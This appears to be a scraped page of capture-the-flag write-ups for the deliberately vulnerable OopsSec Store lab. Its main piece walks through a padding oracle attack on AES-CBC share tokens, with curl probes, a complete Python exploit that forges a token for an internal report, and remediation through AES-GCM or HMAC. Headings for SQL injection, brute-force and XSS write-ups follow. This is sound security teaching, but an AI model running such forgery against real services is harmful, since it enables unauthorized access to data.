 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

How a 400 vs 404 gap let me forge a token and read an internal report

Oopssec Store — Wed, 15 Jul 2026 19:00:00 +0000

A padding oracle in OopsSec Store's share feature leaks whether decryption produced valid PKCS#7 padding. That's enough to forge a token for an internal report and grab the flag.

OopsSec Store has a "Share Order" button that generates encrypted links. No login needed to open them. The tokens use AES-256-CBC, but nobody bothered adding an HMAC or using authenticated encryption. Worse, the server returns different status codes for "bad padding" and "resource not found". That's a textbook padding oracle, and we can abuse it to forge a token that decrypts to whatever plaintext we want.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Target identification

After placing an order, the confirmation page shows a "Share Order" button. Clicking it generates a share URL:

http://localhost:3000/api/documents/share?token=a1b2c3d4...

The token is a hex string. Visit the URL and you get order details as JSON, no authentication required. It's 64 hex characters long, so 32 bytes: 16 bytes IV + 16 bytes ciphertext. A single AES block.

Discovery: finding the oracle

Grab a valid token and start poking at it. Generate a share link from an order page, then extract the token.

Confirming the token works

TOKEN="<your-token-here>"
curl -s "http://localhost:3000/api/documents/share?token=$TOKEN"

Response (200):

{
  "type": "order",
  "order": {
    "id": "ORD-004",
    "total": 12.99,
    "status": "PENDING",
    ...
  }
}

Flipping a byte in the ciphertext

Modify one hex character near the end of the token (in the ciphertext portion, bytes 17-32):

# Change the last hex digit
MODIFIED="${TOKEN:0:63}0"
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$MODIFIED"

Response: 400 — {"error": "Invalid share token format"}

Decryption failed. Bad padding.

Flipping a byte in the IV

For a single block the IV is the previous block: each IV byte XORs into exactly one plaintext byte. To keep valid padding while still corrupting the content, flip a byte that lands inside the resource id (ORD-004), not the order type name and not the last byte (which carries the padding). Here we change a byte in the middle of the IV:

# Change a hex digit mapping to the resource id (leaves "order:" and the padding intact)
MODIFIED="${TOKEN:0:12}0${TOKEN:13}"
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$MODIFIED"

Response: 404 — {"error": "Shared resource not found"}

The padding byte is untouched, so decryption succeeds, but the plaintext now reads order:<garbage>. The server parsed a valid type, looked up a resource that doesn't exist, and returned 404.

Two traps to avoid when probing: flipping the last IV byte corrupts the padding itself → 400, and flipping a byte in the order type name makes the type unknown → 400 Unsupported resource type. Only a byte inside the id gives a clean 404.

There's our oracle: a 400 means the padding was rejected, while any non-400 response (404 here) means the padding was valid and the server simply couldn't route the plaintext. The attack needs exactly that one bit.

Understanding the vulnerability

AES-CBC decryption

For a single-block ciphertext:

Plaintext = Decrypt(Key, CiphertextBlock) XOR IV

Decrypting the cipher block gives an "intermediate value". XOR that with the IV and you get the plaintext. The thing is, if we figure out the intermediate value, we can pick an IV that XORs it into whatever plaintext we want.

PKCS#7 padding

The last block must have valid PKCS#7 padding. For a 13-byte plaintext like order:ORD-001:

o  r  d  e  r  :  O  R  D  -  0  0  1  03 03 03

The last 3 bytes are \x03\x03\x03 (3 bytes of padding, each with value 3).

For a 15-byte plaintext like report:internal:

r  e  p  o  r  t  :  i  n  t  e  r  n  a  l  01

Just one byte of padding: \x01.

The attack step by step

To recover intermediate[15] (the last intermediate byte):

Set a test IV where bytes 0-14 are anything and byte 15 is our guess g
Send testIV + originalCipherBlock to the server
The server computes plaintext[15] = intermediate[15] XOR g
If plaintext[15] == 0x01, padding is valid and the server returns 404 instead of 400
When we find the right g: intermediate[15] = g XOR 0x01

For byte 14, we want 2-byte padding (\x02\x02):

Set testIV[15] = intermediate[15] XOR 0x02 (forces last byte to \x02)
Brute-force testIV[14] from 0 to 255
When padding is valid: intermediate[14] = g XOR 0x02

Repeat for all 16 bytes. Worst case: 256 x 16 = 4,096 requests for one block.

Handling false positives

When attacking the last byte, a guess might produce valid padding like \x02\x02 (if the second-to-last decrypted byte happens to be \x02) instead of the \x01 we're looking for. Easy to check:

Flip byte 14 of the test IV
If the server now returns 400, the original result was a false positive (the padding was \x02\x02, not \x01)
Skip this guess and move on

One more subtlety: the 400-vs-non-400 signal isn't perfectly clean. A decryption that produces valid padding but whose plaintext happens to contain a : followed by an unknown type also returns 400 (Unsupported resource type). Since intermediate = plaintext XOR IV is effectively random per token, there's roughly a 6% chance (1 - (255/256)^16) that the block's intermediate value contains a : (0x3a), in which case the highest byte can't be recovered and the script bails out. If that happens, just generate a fresh share token and run it again.

Exploitation

Step 1: Generate a valid share token

Log in (e.g., as alice@example.com / iloveduck), place an order, and click "Share Order" on the confirmation page. Copy the token from the generated URL.

TOKEN="<your-64-char-hex-token>"

Step 2: Confirm the oracle

# Original token — should return 200
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$TOKEN"

# Flip last ciphertext byte — should return 400 (bad padding)
FLIP_CT="${TOKEN:0:63}$(printf '%x' $(( (0x${TOKEN:63:1} + 1) % 16 )))"
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$FLIP_CT"

# Flip a byte inside the resource id — should return 404 (valid padding, wrong resource)
FLIP_IV="${TOKEN:0:12}$(printf '%x' $(( (0x${TOKEN:12:1} + 1) % 16 )))${TOKEN:13}"
curl -s -o /dev/null -w "%{http_code}" "http://localhost:3000/api/documents/share?token=$FLIP_IV"

Step 3: Discover the target resource

Once you can decrypt your own token, you'll see the format is order:<id>. But what other resource types exist?

Forge a token with a garbage type (e.g., aaaa:test) and the server tells you:

{
  "error": "Unsupported resource type 'aaaa'. Expected: order, report"
}

So report is a valid type. Try common identifiers: report:internal, report:admin, report:secret... The target is report:internal.

Step 4: Run the padding oracle attack

Here's the full Python exploit:

#!/usr/bin/env python3
"""Padding oracle exploit for OopsSec Store share tokens."""

import requests
import sys

BASE_URL = "http://localhost:3000"
BLOCK_SIZE = 16


def has_valid_padding(token_hex: str) -> bool:
    """Returns True if the server indicates valid padding (non-400 response)."""
    r = requests.get(f"{BASE_URL}/api/documents/share", params={"token": token_hex})
    return r.status_code != 400


def recover_intermediate(cipher_block: bytes) -> bytearray:
    """Recover the intermediate state of a cipher block using the padding oracle."""
    intermediate = bytearray(BLOCK_SIZE)

    for byte_pos in range(BLOCK_SIZE - 1, -1, -1):
        padding_value = BLOCK_SIZE - byte_pos

        # Build test IV with known intermediate bytes set for target padding
        test_iv = bytearray(BLOCK_SIZE)
        for k in range(byte_pos + 1, BLOCK_SIZE):
            test_iv[k] = intermediate[k] ^ padding_value

        found = False
        for guess in range(256):
            test_iv[byte_pos] = guess
            token_hex = (bytes(test_iv) + cipher_block).hex()

            if has_valid_padding(token_hex):
                # Verify to avoid false positives on the last byte
                if byte_pos == BLOCK_SIZE - 1 and padding_value == 1:
                    verify_iv = bytearray(test_iv)
                    verify_iv[byte_pos - 1] ^= 1
                    verify_token = (bytes(verify_iv) + cipher_block).hex()
                    if not has_valid_padding(verify_token):
                        continue

                intermediate[byte_pos] = guess ^ padding_value
                print(
                    f"  [+] Byte {byte_pos:2d}: "
                    f"intermediate=0x{intermediate[byte_pos]:02x} "
                    f"(guess=0x{guess:02x}, padding=0x{padding_value:02x})"
                )
                found = True
                break

        if not found:
            print(f"  [-] Failed to find byte {byte_pos}")
            sys.exit(1)

    return intermediate


def forge_token(intermediate: bytearray, target: str, cipher_block: bytes) -> str:
    """Forge a new IV so the cipher block decrypts to the target plaintext."""
    target_bytes = target.encode("utf-8")
    pad_len = BLOCK_SIZE - len(target_bytes)
    if pad_len <= 0:
        print(f"[-] Target '{target}' must be shorter than {BLOCK_SIZE} bytes")
        sys.exit(1)

    padded = target_bytes + bytes([pad_len] * pad_len)
    new_iv = bytearray(BLOCK_SIZE)
    for i in range(BLOCK_SIZE):
        new_iv[i] = intermediate[i] ^ padded[i]

    return (bytes(new_iv) + cipher_block).hex()


def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <share-token-hex>")
        print("  Get a token by clicking 'Share Order' on an order page")
        sys.exit(1)

    token_hex = sys.argv[1]
    token_bytes = bytes.fromhex(token_hex)

    if len(token_bytes) < 32:
        print("[-] Token too short. Expected at least 32 bytes (IV + 1 block)")
        sys.exit(1)

    iv = token_bytes[:16]
    cipher_block = token_bytes[16:32]

    print(f"[*] Token: {token_hex}")
    print(f"[*] IV:    {iv.hex()}")
    print(f"[*] Block: {cipher_block.hex()}")
    print()

    # Step 1: Recover intermediate state
    print("[*] Recovering intermediate state using padding oracle...")
    intermediate = recover_intermediate(cipher_block)
    print(f"\n[+] Intermediate: {intermediate.hex()}")

    # Verify by recovering the original plaintext
    original_plaintext = bytearray(BLOCK_SIZE)
    for i in range(BLOCK_SIZE):
        original_plaintext[i] = intermediate[i] ^ iv[i]
    print(f"[+] Original plaintext (raw): {bytes(original_plaintext)}")
    print()

    # Step 2: Forge token for 'report:internal'
    target = "report:internal"
    print(f"[*] Forging token for '{target}'...")
    forged_token = forge_token(intermediate, target, cipher_block)
    print(f"[+] Forged token: {forged_token}")
    print()

    # Step 3: Retrieve the flag
    print("[*] Sending forged token...")
    r = requests.get(
        f"{BASE_URL}/api/documents/share", params={"token": forged_token}
    )
    print(f"[*] Status: {r.status_code}")
    data = r.json()
    print(f"[*] Response: {data}")

    if "flag" in data:
        print(f"\n[+] FLAG: {data['flag']}")
    else:
        print("\n[-] No flag in response. Something went wrong.")


if __name__ == "__main__":
    main()

Step 5: Run the exploit

python3 exploit.py <your-token-hex>

The script parses the token into IV and cipher block, brute-forces each byte of the intermediate state (up to 4,096 requests, a few seconds), forges a new IV so the block decrypts to report:internal, and sends the forged token.

Note: If you already know the plaintext (e.g., order:ORD-001), you can compute the intermediate state directly as intermediate[i] = iv[i] XOR plaintext_with_padding[i] — no oracle queries needed. That's a useful shortcut for testing, but the real attack doesn't assume known plaintext: it recovers the intermediate state one byte at a time by brute-forcing each IV byte and observing the server's response (400 vs non-400).

Step 6: Get the flag

The forged token decrypts to report:internal, and the share endpoint serves it up:

{
  "type": "report",
  "title": "Internal Security Audit Report",
  "content": "Quarterly security assessment completed. All systems operational. No critical findings.",
  "flag": "OSS{p4dd1ng_0r4cl3_f0rg3d_t0k3n}"
}

Vulnerable code analysis

Two things make this work.

First, no ciphertext authentication. Encrypt-only, no HMAC:

export function encryptShareToken(plaintext: string): string {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv("aes-256-cbc", SHARE_KEY, iv);
  const encrypted = Buffer.concat([
    cipher.update(plaintext, "utf8"),
    cipher.final(),
  ]);
  return Buffer.concat([iv, encrypted]).toString("hex");
  // No HMAC computed over (IV + ciphertext)
}

Without an HMAC, the server can't tell if someone tampered with the ciphertext before trying to decrypt it. Every modified token hits the decryption logic.

Second, distinguishable error responses:

try {
  resourcePath = decryptShareToken(token);
} catch {
  // Padding error → 400
  return NextResponse.json(
    { error: "Invalid share token format" },
    { status: 400 }
  );
}

// Valid padding → resource lookup → 404 if not found

The catch block handles the decipher.final() exception (thrown on invalid PKCS#7 padding) and returns 400. If decryption succeeds but the resource doesn't exist, the endpoint returns 404. That difference is all we need.

Remediation

Switch from AES-CBC to AES-GCM:

import crypto from "crypto";

const ALGORITHM = "aes-256-gcm";

export function encryptShareToken(plaintext: string): string {
  const iv = crypto.randomBytes(12); // GCM standard nonce size
  const cipher = crypto.createCipheriv(ALGORITHM, SHARE_KEY, iv);
  const encrypted = Buffer.concat([
    cipher.update(plaintext, "utf8"),
    cipher.final(),
  ]);
  const authTag = cipher.getAuthTag(); // 16-byte authentication tag
  return Buffer.concat([iv, authTag, encrypted]).toString("hex");
}

export function decryptShareToken(tokenHex: string): string {
  const data = Buffer.from(tokenHex, "hex");
  const iv = data.subarray(0, 12);
  const authTag = data.subarray(12, 28);
  const ciphertext = data.subarray(28);
  const decipher = crypto.createDecipheriv(ALGORITHM, SHARE_KEY, iv);
  decipher.setAuthTag(authTag);
  return Buffer.concat([
    decipher.update(ciphertext),
    decipher.final(),
  ]).toString("utf8");
}

With GCM, any modification to the IV, ciphertext, or auth tag causes decipher.final() to throw before producing any plaintext. No padding to leak, no oracle.

If you're stuck with CBC for some reason, use Encrypt-then-MAC: compute HMAC-SHA256(key, IV || ciphertext) after encryption, verify the HMAC before decryption, and return the same error regardless of what went wrong.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

DEV Community: Oopssec Store

Brute-forcing a login endpoint with no rate limiting and MD5

Lab setup

Reconnaissance

Identifying the login endpoint

Exploitation

Preparing the wordlist

Brute forcing with a bash loop

Alternative: brute forcing with Python

Result

Capturing the flag

Vulnerable code analysis

Remediation

Rate limiting

Account lockout

Using a slower hash function

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Disclaimers

Feedback & Support

Prisma Keeps You Safe Until You Reach for exec() — A SQLi Story.

Lab setup

Target identification

Understanding second-order injection

Exploitation

Step 1: Store the payload

Step 2: Gain admin access

Step 3: Trigger the injection

Step 4: Enumerate the schema

Step 5: Read the canary

Vulnerable code analysis

Remediation

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Disclaimers

Feedback & Support

Exfiltrating a Hidden Secret Through a Search Bar with UNION SELECT

Introduction

Lab setup

Feature overview and attack surface

Exploitation procedure

Initial behavior verification

Injection probing

UNION-based data extraction

Schema enumeration

Claiming the flag

Vulnerable code analysis

Remediation

Go further

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Disclaimers

Feedback & Support

I uploaded a green square to a Next.js store and got stored XSS

Prerequisites

Lab setup

Vulnerability overview

Exploitation

Finding the upload

Crafting the SVG

Uploading it

Triggering execution

Vulnerable code analysis

Server-side: header-only validation

Frontend: <object> tag rendering

Remediation

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Disclaimers

Feedback & Support

Dumping Every User's Plaintext Password Without Touching the Database

Lab setup

Frontend: `<object>` tag rendering